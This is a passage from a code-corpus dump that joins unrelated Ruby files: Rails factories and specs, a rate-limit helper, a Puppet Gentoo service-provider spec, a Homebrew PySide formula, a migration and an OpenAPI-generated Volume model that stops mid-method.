# See <tt>ActiveModel::Validations#validates</tt> for more information.
def validates_absence_of(*attr_names)
validates_with AbsenceValidator, _merge_attributes(attr_names)
end
end
end
end
| 34.323529 | 83 | 0.656384 |
0397d5d400185349606de1693b2687d5f2ecae3f | 2,695 | include ActionDispatch::TestProcess
FactoryGirl.define do
factory :ci_build, class: Ci::Build do
name 'test'
stage 'test'
stage_idx 0
ref 'master'
tag false
status 'pending'
created_at 'Di 29. Okt 09:50:00 CET 2013'
started_at 'Di 29. Okt 09:51:28 CET 2013'
finished_at 'Di 29. Okt 09:53:28 CET 2013'
commands 'ls -a'
options do
{
image: "ruby:2.1",
services: ["postgres"]
}
end
yaml_variables do
[
{ key: 'DB_NAME', value: 'postgres', public: true }
]
end
pipeline factory: :ci_pipeline
trait :success do
status 'success'
end
trait :failed do
status 'failed'
end
trait :canceled do
status 'canceled'
end
trait :skipped do
status 'skipped'
end
trait :running do
status 'running'
end
trait :pending do
status 'pending'
end
trait :created do
status 'created'
end
trait :manual do
status 'skipped'
self.when 'manual'
end
trait :teardown_environment do
environment 'staging'
options environment: { name: 'staging',
action: 'stop' }
end
trait :allowed_to_fail do
allow_failure true
end
trait :playable do
skipped
manual
end
after(:build) do |build, evaluator|
build.project = build.pipeline.project
end
factory :ci_not_started_build do
started_at nil
finished_at nil
end
factory :ci_build_tag do
tag true
end
factory :ci_build_with_coverage do
coverage 99.9
end
trait :trace do
after(:create) do |build, evaluator|
build.trace = 'BUILD TRACE'
end
end
trait :artifacts do
after(:create) do |build, _|
build.artifacts_file =
fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'),
'application/zip')
build.artifacts_metadata =
fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts_metadata.gz'),
'application/x-gzip')
build.save!
end
end
trait :artifacts_expired do
after(:create) do |build, _|
build.artifacts_file =
fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts.zip'),
'application/zip')
build.artifacts_metadata =
fixture_file_upload(Rails.root.join('spec/fixtures/ci_build_artifacts_metadata.gz'),
'application/x-gzip')
build.artifacts_expire_at = 1.minute.ago
build.save!
end
end
end
end
| 20.263158 | 94 | 0.59295 |
87fd3e7bd8243dc9a7a8d3367622885f9f707e70 | 257 | require "./lib/RunnerText.rb"
require "test/unit"
# TODO dunno if there is much to test here anyways
class TestRunnerText < Test::Unit::TestCase
def test_class()
puts "testing...RunnerText"
assert_equal('RunnerText', 'Runner' + 'Text')
end
end | 23.363636 | 50 | 0.712062 |
1a2c1002879afb8fcae008e28ffbe797ff8e82e8 | 1,115 | FactoryGirl.define do
factory :sponsored_benefits_benefit_applications_benefit_group, class: 'SponsoredBenefits::BenefitApplications::BenefitGroup' do
effective_on_kind "date_of_hire"
terminate_on_kind "end_of_month"
plan_option_kind "single_plan"
description "my first benefit group"
effective_on_offset 0
relationship_benefits { [
FactoryGirl.build(:relationship_benefit, benefit_group: self, relationship: :employee, premium_pct: 80, employer_max_amt: 1000.00),
FactoryGirl.build(:relationship_benefit, benefit_group: self, relationship: :spouse, premium_pct: 40, employer_max_amt: 200.00),
FactoryGirl.build(:relationship_benefit, benefit_group: self, relationship: :domestic_partner, premium_pct: 40, employer_max_amt: 200.00),
FactoryGirl.build(:relationship_benefit, benefit_group: self, relationship: :child_under_26, premium_pct: 40, employer_max_amt: 200.00),
] }
reference_plan {FactoryGirl.create(:plan, :with_premium_tables)}
elected_plans { [ self.reference_plan ]}
end
end
| 61.944444 | 155 | 0.73722 |
e8a46a3f355df34a63e57f1e151c30d0a9293800 | 985 | # frozen_string_literal: true
# Interrupt imports to comply with MusicBrainz rate limiting
# https://musicbrainz.org/doc/XML_Web_Service/Rate_Limiting
class BrainzImportInterrupter
include Singleton
def initialize
@errors_count = 0
@last = Time.new(1970)
end
attr_reader :errors_count, :last, :now
def perform
@now = Time.now
sleep_now
@last = now
nil
end
def signal_error
@errors_count += 1
end
def signal_success
@errors_count = 0
end
def multiplier
calculated_multiplier = 1 + errors_count
[calculated_multiplier, max_multiplier].min
end
def interruption
min_interruption * multiplier
end
def max_multiplier
5
end
def min_interruption
1
end
def sleep_now
return if ENV['RAILS_ENV'] == 'test'
sleep(time_to_sleep)
end
def time_to_sleep
interruption_ends = last + interruption
return 0 if interruption_ends < now
interruption_ends - now
end
end
| 16.147541 | 60 | 0.697462 |
ed2db96f96a50ff29e9b5d76229fca0284208cf1 | 3,388 | require_relative "../../../spec/es_spec_helper"
describe "index template expected behavior", :integration => true, :version_less_than_5x => true do
subject! do
require "logstash/outputs/elasticsearch"
settings = {
"manage_template" => true,
"template_overwrite" => true,
"hosts" => "#{get_host_port()}"
}
next LogStash::Outputs::ElasticSearch.new(settings)
end
before :each do
# Delete all templates first.
require "elasticsearch"
# Clean ES of data before we start.
@es = get_client
@es.indices.delete_template(:name => "*")
# This can fail if there are no indexes, ignore failure.
@es.indices.delete(:index => "*") rescue nil
subject.register
subject.multi_receive([
LogStash::Event.new("message" => "sample message here"),
LogStash::Event.new("somemessage" => { "message" => "sample nested message here" }),
LogStash::Event.new("somevalue" => 100),
LogStash::Event.new("somevalue" => 10),
LogStash::Event.new("somevalue" => 1),
LogStash::Event.new("country" => "us"),
LogStash::Event.new("country" => "at"),
LogStash::Event.new("geoip" => { "location" => [ 0.0, 0.0 ] })
])
@es.indices.refresh
# Wait or fail until everything's indexed.
Stud::try(20.times) do
r = @es.search
insist { r["hits"]["total"] } == 8
end
end
it "permits phrase searching on string fields" do
results = @es.search(:q => "message:\"sample message\"")
insist { results["hits"]["total"] } == 1
insist { results["hits"]["hits"][0]["_source"]["message"] } == "sample message here"
end
it "numbers dynamically map to a numeric type and permit range queries" do
results = @es.search(:q => "somevalue:[5 TO 105]")
insist { results["hits"]["total"] } == 2
values = results["hits"]["hits"].collect { |r| r["_source"]["somevalue"] }
insist { values }.include?(10)
insist { values }.include?(100)
reject { values }.include?(1)
end
it "does not create .raw field for the message field" do
results = @es.search(:q => "message.raw:\"sample message here\"")
insist { results["hits"]["total"] } == 0
end
it "creates .raw field for nested message fields" do
results = @es.search(:q => "somemessage.message.raw:\"sample nested message here\"")
insist { results["hits"]["total"] } == 1
end
it "creates .raw field from any string field which is not_analyzed" do
results = @es.search(:q => "country.raw:\"us\"")
insist { results["hits"]["total"] } == 1
insist { results["hits"]["hits"][0]["_source"]["country"] } == "us"
# partial or terms should not work.
results = @es.search(:q => "country.raw:\"u\"")
insist { results["hits"]["total"] } == 0
end
it "make [geoip][location] a geo_point" do
expect(@es.indices.get_template(name: "logstash")["logstash"]["mappings"]["_default_"]["properties"]["geoip"]["properties"]["location"]["type"]).to eq("geo_point")
end
it "aggregate .raw results correctly " do
results = @es.search(:body => { "aggregations" => { "my_agg" => { "terms" => { "field" => "country.raw" } } } })["aggregations"]["my_agg"]
terms = results["buckets"].collect { |b| b["key"] }
insist { terms }.include?("us")
# 'at' is a stopword, make sure stopwords are not ignored.
insist { terms }.include?("at")
end
end
| 34.222222 | 167 | 0.612456 |
01212ab0863b40ac3fb34612f4d5c59d40c5ced9 | 1,927 | require File.expand_path("lib/google/apis/cloudresourcemanager_v2beta1/gem_version", __dir__)
gem_version = Google::Apis::CloudresourcemanagerV2beta1::GEM_VERSION
Gem::Specification.new do |gem|
gem.name = "google-apis-cloudresourcemanager_v2beta1"
gem.version = gem_version
gem.authors = ["Google LLC"]
gem.email = "[email protected]"
gem.summary = "Simple REST client for Cloud Resource Manager API V2beta1"
gem.description =
"This is the simple REST client for Cloud Resource Manager API V2beta1." \
" Simple REST clients are Ruby client libraries that provide access to" \
" Google services via their HTTP REST API endpoints. These libraries are" \
" generated and updated automatically based on the discovery documents" \
" published by the service, and they handle most concerns such as" \
" authentication, pagination, retry, timeouts, and logging. You can use" \
" this client to access the Cloud Resource Manager API, but note that some" \
" services may provide a separate modern client that is easier to use."
gem.homepage = "https://github.com/google/google-api-ruby-client"
gem.license = "Apache-2.0"
gem.metadata = {
"bug_tracker_uri" => "https://github.com/googleapis/google-api-ruby-client/issues",
"changelog_uri" => "https://github.com/googleapis/google-api-ruby-client/tree/main/generated/google-apis-cloudresourcemanager_v2beta1/CHANGELOG.md",
"documentation_uri" => "https://googleapis.dev/ruby/google-apis-cloudresourcemanager_v2beta1/v#{gem_version}",
"source_code_uri" => "https://github.com/googleapis/google-api-ruby-client/tree/main/generated/google-apis-cloudresourcemanager_v2beta1"
}
gem.files = Dir.glob("lib/**/*.rb") + Dir.glob("*.md") + [".yardopts"]
gem.require_paths = ["lib"]
gem.required_ruby_version = '>= 2.5'
gem.add_runtime_dependency "google-apis-core", ">= 0.4", "< 2.a"
end
| 56.676471 | 152 | 0.731707 |
3872fc3000ad12a76387cc6dbc34b603f86007d2 | 869 | # frozen_string_literal: true
require 'spec_helper'
describe 'prometheus::elasticsearch_exporter' do
on_supported_os.each do |os, facts|
context "on #{os}" do
let(:facts) do
facts.merge(os_specific_facts(facts))
end
context 'with version specified' do
let(:params) do
{
version: '1.0.0',
arch: 'amd64',
os: 'linux',
bin_dir: '/usr/local/bin',
install_method: 'url'
}
end
describe 'compile manifest' do
it { is_expected.to compile.with_all_deps }
end
describe 'install correct binary' do
it { is_expected.to contain_file('/usr/local/bin/elasticsearch_exporter').with('target' => '/opt/elasticsearch_exporter-1.0.0.linux-amd64/elasticsearch_exporter') }
end
end
end
end
end
| 25.558824 | 174 | 0.590334 |
21328b9efd9823260a34b9bdc487c9dd3dc157e7 | 11,447 | #! /usr/bin/env ruby
require 'spec_helper'
describe Oregano::Type.type(:service).provider(:gentoo) do
if Oregano.features.microsoft_windows?
# Get a pid for $CHILD_STATUS to latch on to
command = "cmd.exe /c \"exit 0\""
Oregano::Util::Execution.execute(command, {:failonfail => false})
end
before :each do
Oregano::Type.type(:service).stubs(:defaultprovider).returns described_class
FileTest.stubs(:file?).with('/sbin/rc-update').returns true
FileTest.stubs(:executable?).with('/sbin/rc-update').returns true
Facter.stubs(:value).with(:operatingsystem).returns 'Gentoo'
Facter.stubs(:value).with(:osfamily).returns 'Gentoo'
# The initprovider (parent of the gentoo provider) does a stat call
# before it even tries to execute an initscript. We use sshd in all the
# tests so make sure it is considered present.
sshd_path = '/etc/init.d/sshd'
# stub_file = stub(sshd_path, :stat => stub('stat'))
Oregano::FileSystem.stubs(:stat).with(sshd_path).returns stub('stat')
end
let :initscripts do
[
'alsasound',
'bootmisc',
'functions.sh',
'hwclock',
'reboot.sh',
'rsyncd',
'shutdown.sh',
'sshd',
'vixie-cron',
'wpa_supplicant',
'xdm-setup'
]
end
let :helperscripts do
[
'functions.sh',
'reboot.sh',
'shutdown.sh'
]
end
describe ".instances" do
it "should have an instances method" do
expect(described_class).to respond_to(:instances)
end
it "should get a list of services from /etc/init.d but exclude helper scripts" do
FileTest.expects(:directory?).with('/etc/init.d').returns true
Dir.expects(:entries).with('/etc/init.d').returns initscripts
(initscripts - helperscripts).each do |script|
FileTest.expects(:executable?).with("/etc/init.d/#{script}").returns true
end
helperscripts.each do |script|
FileTest.expects(:executable?).with("/etc/init.d/#{script}").never
end
Oregano::FileSystem.stubs(:symlink?).returns false # stub('file', :symlink? => false)
expect(described_class.instances.map(&:name)).to eq([
'alsasound',
'bootmisc',
'hwclock',
'rsyncd',
'sshd',
'vixie-cron',
'wpa_supplicant',
'xdm-setup'
])
end
end
describe "#start" do
it "should use the supplied start command if specified" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :start => '/bin/foo'))
provider.expects(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.start
end
it "should start the service with <initscript> start otherwise" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd'))
provider.expects(:execute).with(['/etc/init.d/sshd',:start], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.start
end
end
describe "#stop" do
it "should use the supplied stop command if specified" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :stop => '/bin/foo'))
provider.expects(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.stop
end
it "should stop the service with <initscript> stop otherwise" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd'))
provider.expects(:execute).with(['/etc/init.d/sshd',:stop], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.stop
end
end
describe "#enabled?" do
before :each do
described_class.any_instance.stubs(:update).with(:show).returns File.read(my_fixture('rc_update_show'))
end
it "should run rc-update show to get a list of enabled services" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd'))
provider.expects(:update).with(:show).returns "\n"
provider.enabled?
end
['hostname', 'net.lo', 'procfs'].each do |service|
it "should consider service #{service} in runlevel boot as enabled" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => service))
expect(provider.enabled?).to eq(:true)
end
end
['alsasound', 'xdm', 'netmount'].each do |service|
it "should consider service #{service} in runlevel default as enabled" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => service))
expect(provider.enabled?).to eq(:true)
end
end
['rsyncd', 'lighttpd', 'mysql'].each do |service|
it "should consider unused service #{service} as disabled" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => service))
expect(provider.enabled?).to eq(:false)
end
end
end
describe "#enable" do
it "should run rc-update add to enable a service" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd'))
provider.expects(:update).with(:add, 'sshd', :default)
provider.enable
end
end
describe "#disable" do
it "should run rc-update del to disable a service" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd'))
provider.expects(:update).with(:del, 'sshd', :default)
provider.disable
end
end
describe "#status" do
describe "when a special status command is specified" do
it "should use the status command from the resource" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo'))
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:execute).with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true)
$CHILD_STATUS.stubs(:exitstatus).returns 0
provider.status
end
it "should return :stopped when the status command returns with a non-zero exitcode" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo'))
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:execute).with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true)
$CHILD_STATUS.stubs(:exitstatus).returns 3
expect(provider.status).to eq(:stopped)
end
it "should return :running when the status command returns with a zero exitcode" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo'))
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:execute).with(['/bin/foo'], :failonfail => false, :override_locale => false, :squelch => false, :combine => true)
$CHILD_STATUS.stubs(:exitstatus).returns 0
expect(provider.status).to eq(:running)
end
end
describe "when hasstatus is false" do
it "should return running if a pid can be found" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasstatus => false))
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:getpid).returns 1000
expect(provider.status).to eq(:running)
end
it "should return stopped if no pid can be found" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasstatus => false))
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:getpid).returns nil
expect(provider.status).to eq(:stopped)
end
end
describe "when hasstatus is true" do
it "should return running if <initscript> status exits with a zero exitcode" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasstatus => true))
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true)
$CHILD_STATUS.stubs(:exitstatus).returns 0
expect(provider.status).to eq(:running)
end
it "should return stopped if <initscript> status exits with a non-zero exitcode" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasstatus => true))
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.expects(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => true)
$CHILD_STATUS.stubs(:exitstatus).returns 3
expect(provider.status).to eq(:stopped)
end
end
end
describe "#restart" do
it "should use the supplied restart command if specified" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :restart => '/bin/foo'))
provider.expects(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.restart
end
it "should restart the service with <initscript> restart if hasrestart is true" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasrestart => true))
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.expects(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.restart
end
it "should restart the service with <initscript> stop/start if hasrestart is false" do
provider = described_class.new(Oregano::Type.type(:service).new(:name => 'sshd', :hasrestart => false))
provider.expects(:search).with('sshd').returns('/etc/init.d/sshd')
provider.expects(:execute).with(['/etc/init.d/sshd',:restart], :failonfail => true, :override_locale => false, :squelch => false, :combine => true).never
provider.expects(:execute).with(['/etc/init.d/sshd',:stop], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.expects(:execute).with(['/etc/init.d/sshd',:start], :failonfail => true, :override_locale => false, :squelch => false, :combine => true)
provider.restart
end
end
end
| 45.788 | 161 | 0.652311 |
08677187b736dc92b18fc0ea0abaa60e6f7da0dd | 2,101 | require 'spec_helper'
module Spree
module Calculator::Shipping
describe FlexiRate do
let(:variant1) { build(:variant, :price => 10) }
let(:variant2) { build(:variant, :price => 20) }
let(:line_item1) { build(:line_item, variant: variant1) }
let(:line_item2) { build(:line_item, variant: variant2) }
let(:package) do
Stock::Package.new(
build(:stock_location),
mock_model(Order),
[
Stock::Package::ContentItem.new(line_item1, variant1, 4),
Stock::Package::ContentItem.new(line_item2, variant2, 6)
]
)
end
let(:subject) { FlexiRate.new }
context "compute" do
it "should compute amount correctly when all fees are 0" do
subject.compute(package).round(2).should == 0.0
end
it "should compute amount correctly when first_item has a value" do
subject.preferred_first_item = 1.0
subject.compute(package).round(2).should == 1.0
end
it "should compute amount correctly when additional_items has a value" do
subject.preferred_additional_item = 1.0
subject.compute(package).round(2).should == 9.0
end
it "should compute amount correctly when additional_items and first_item have values" do
subject.preferred_first_item = 5.0
subject.preferred_additional_item = 1.0
subject.compute(package).round(2).should == 14.0
end
it "should compute amount correctly when additional_items and first_item have values AND max items has value" do
subject.preferred_first_item = 5.0
subject.preferred_additional_item = 1.0
subject.preferred_max_items = 3
subject.compute(package).round(2).should == 26.0
end
it "should allow creation of new object with all the attributes" do
FlexiRate.new(:preferred_first_item => 1,
:preferred_additional_item => 1,
:preferred_max_items => 1)
end
end
end
end
end
| 33.349206 | 120 | 0.616849 |
ab56a863f518969ed8628bcb2064ecb83ba7907b | 638 | # frozen_string_literal: true
class AddPagerDutyIntegrationColumnsToProjectIncidentManagementSettings < ActiveRecord::Migration[6.0]
DOWNTIME = false
# limit constraints added in a separate migration:
# 20200710130234_add_limit_constraints_to_project_incident_management_settings_token.rb
def change
add_column :project_incident_management_settings, :pagerduty_active, :boolean, null: false, default: false
add_column :project_incident_management_settings, :encrypted_pagerduty_token, :binary, null: true
add_column :project_incident_management_settings, :encrypted_pagerduty_token_iv, :binary, null: true
end
end
| 45.571429 | 110 | 0.836991 |
266530ce7fc150fad56d08136491fbe0a24274bd | 2,081 | class Pyside < Formula
desc "Official Python bindings for Qt"
homepage "https://wiki.qt.io/Qt_for_Python"
url "https://download.qt.io/official_releases/QtForPython/pyside2/PySide2-5.15.0-src/pyside-setup-opensource-src-5.15.0.tar.xz"
sha256 "f1cdee53de3b76e22c1117a014a91ed95ac16e4760776f4f12dc38cd5a7b6b68"
livecheck do
url "https://download.qt.io/official_releases/QtForPython/pyside2/"
regex(%r{href=.*?PySide2[._-]v?(\d+(?:\.\d+)+)-src/}i)
end
bottle do
sha256 "e57b255441e9cd1aeeb0af012c69d54829b6f6fb0306bfa91e46ad4cebe33817" => :catalina
sha256 "926963a98a1d3490ccd21e91428edeef3fb13bd1a9062142625a94a69f1e0991" => :mojave
sha256 "a0c49e08f6a7e2d8d2b6744672c90537c15f9b98846d35a83d599d2e819dc733" => :high_sierra
end
depends_on "cmake" => :build
depends_on "llvm" => :build
depends_on "[email protected]"
depends_on "qt"
def install
ENV.remove "HOMEBREW_LIBRARY_PATHS", Formula["llvm"].opt_lib
args = %W[
--ignore-git
--parallel=#{ENV.make_jobs}
--install-scripts #{bin}
]
xy = Language::Python.major_minor_version Formula["[email protected]"].opt_bin/"python3"
system Formula["[email protected]"].opt_bin/"python3",
*Language::Python.setup_install_args(prefix),
"--install-lib", lib/"python#{xy}/site-packages", *args,
"--build-type=shiboken2"
system Formula["[email protected]"].opt_bin/"python3",
*Language::Python.setup_install_args(prefix),
"--install-lib", lib/"python#{xy}/site-packages", *args,
"--build-type=pyside2"
lib.install_symlink Dir.glob(lib/"python#{xy}/site-packages/PySide2/*.dylib")
lib.install_symlink Dir.glob(lib/"python#{xy}/site-packages/shiboken2/*.dylib")
end
test do
system Formula["[email protected]"].opt_bin/"python3", "-c", "import PySide2"
%w[
Core
Gui
Location
Multimedia
Network
Quick
Svg
WebEngineWidgets
Widgets
Xml
].each { |mod| system Formula["[email protected]"].opt_bin/"python3", "-c", "import PySide2.Qt#{mod}" }
end
end
| 32.515625 | 129 | 0.675637 |
5db4ccd08aec7c3a678bfbe637ab7f4e99115dbf | 1,827 | def upgrade(ta, td, a, d)
attr_emc = a["volume_defaults"]["emc"]
templ_attr_emc = ta["volume_defaults"]["emc"]
attr_emc["ecom_server_portgroups"] = templ_attr_emc["ecom_server_portgroups"]
attr_emc["ecom_server_array"] = templ_attr_emc["ecom_server_array"]
attr_emc["ecom_server_pool"] = templ_attr_emc["ecom_server_pool"]
attr_emc["ecom_server_policy"] = templ_attr_emc["ecom_server_policy"]
attr_emc.delete("emc_storage_type")
attr_emc.delete("masking_view")
a["volumes"].each do |volume|
next if volume["backend_driver"] != "emc"
volume["emc"]["ecom_server_portgroups"] = templ_attr_emc["ecom_server_portgroups"]
volume["emc"]["ecom_server_array"] = templ_attr_emc["ecom_server_array"]
volume["emc"]["ecom_server_pool"] = templ_attr_emc["ecom_server_pool"]
volume["emc"]["ecom_server_policy"] = templ_attr_emc["ecom_server_policy"]
volume["emc"].delete("emc_storage_type")
volume["emc"].delete("masking_view")
end
return a, d
end
def downgrade(ta, td, a, d)
attr_emc = a["volume_defaults"]["emc"]
templ_attr_emc = ta["volume_defaults"]["emc"]
attr_emc.delete("ecom_server_portgroups")
attr_emc.delete("ecom_server_array")
attr_emc.delete("ecom_server_pool")
attr_emc.delete("ecom_server_policy")
attr_emc["emc_storage_type"] = templ_attr_emc["emc_storage_type"]
attr_emc["masking_view"] = templ_attr_emc["masking_view"]
a["volumes"].each do |volume|
next if volume["backend_driver"] != "emc"
volume["emc"].delete("ecom_server_portgroups")
volume["emc"].delete("ecom_server_array")
volume["emc"].delete("ecom_server_pool")
volume["emc"].delete("ecom_server_policy")
volume["emc"]["emc_storage_type"] = templ_attr_emc["emc_storage_type"]
volume["emc"]["masking_view"] = templ_attr_emc["masking_view"]
end
return a, d
end
| 39.717391 | 86 | 0.729064 |
ed70957e07d6f119b468d24c576c82a5272e9ac5 | 10,036 | =begin
#ORY Hydra
#Welcome to the ORY Hydra HTTP API documentation. You will find documentation for all HTTP APIs here.
The version of the OpenAPI document: v1.10.4-alpha.1
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.1.1
=end
require 'date'
require 'time'
module OryHydraClient
# Volume volume
class Volume
# Date/Time the volume was created.
attr_accessor :created_at
# Name of the volume driver used by the volume.
attr_accessor :driver
# User-defined key/value metadata.
attr_accessor :labels
# Mount path of the volume on the host.
attr_accessor :mountpoint
# Name of the volume.
attr_accessor :name
# The driver specific options used when creating the volume.
attr_accessor :options
# The level at which the volume exists. Either `global` for cluster-wide, or `local` for machine level.
attr_accessor :scope
# Low-level details about the volume, provided by the volume driver. Details are returned as a map with key/value pairs: `{\"key\":\"value\",\"key2\":\"value2\"}`. The `Status` field is optional, and is omitted if the volume driver does not support this feature.
attr_accessor :status
attr_accessor :usage_data
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'created_at' => :'CreatedAt',
:'driver' => :'Driver',
:'labels' => :'Labels',
:'mountpoint' => :'Mountpoint',
:'name' => :'Name',
:'options' => :'Options',
:'scope' => :'Scope',
:'status' => :'Status',
:'usage_data' => :'UsageData'
}
end
# Returns all the JSON keys this model knows about
def self.acceptable_attributes
attribute_map.values
end
# Attribute type mapping.
def self.openapi_types
{
:'created_at' => :'String',
:'driver' => :'String',
:'labels' => :'Hash<String, String>',
:'mountpoint' => :'String',
:'name' => :'String',
:'options' => :'Hash<String, String>',
:'scope' => :'String',
:'status' => :'Object',
:'usage_data' => :'VolumeUsageData'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `OryHydraClient::Volume` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `OryHydraClient::Volume`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'created_at')
self.created_at = attributes[:'created_at']
end
if attributes.key?(:'driver')
self.driver = attributes[:'driver']
end
if attributes.key?(:'labels')
if (value = attributes[:'labels']).is_a?(Hash)
self.labels = value
end
end
if attributes.key?(:'mountpoint')
self.mountpoint = attributes[:'mountpoint']
end
if attributes.key?(:'name')
self.name = attributes[:'name']
end
if attributes.key?(:'options')
if (value = attributes[:'options']).is_a?(Hash)
self.options = value
end
end
if attributes.key?(:'scope')
self.scope = attributes[:'scope']
end
if attributes.key?(:'status')
self.status = attributes[:'status']
end
if attributes.key?(:'usage_data')
self.usage_data = attributes[:'usage_data']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @driver.nil?
invalid_properties.push('invalid value for "driver", driver cannot be nil.')
end
if @labels.nil?
invalid_properties.push('invalid value for "labels", labels cannot be nil.')
end
if @mountpoint.nil?
invalid_properties.push('invalid value for "mountpoint", mountpoint cannot be nil.')
end
if @name.nil?
invalid_properties.push('invalid value for "name", name cannot be nil.')
end
if @options.nil?
invalid_properties.push('invalid value for "options", options cannot be nil.')
end
if @scope.nil?
invalid_properties.push('invalid value for "scope", scope cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @driver.nil?
return false if @labels.nil?
return false if @mountpoint.nil?
return false if @name.nil?
return false if @options.nil?
return false if @scope.nil?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
created_at == o.created_at &&
driver == o.driver &&
labels == o.labels &&
mountpoint == o.mountpoint &&
name == o.name &&
options == o.options &&
scope == o.scope &&
status == o.status &&
usage_data == o.usage_data
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[created_at, driver, labels, mountpoint, name, options, scope, status, usage_data].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
elsif type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :Time
Time.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
# models (e.g. Pet) or oneOf
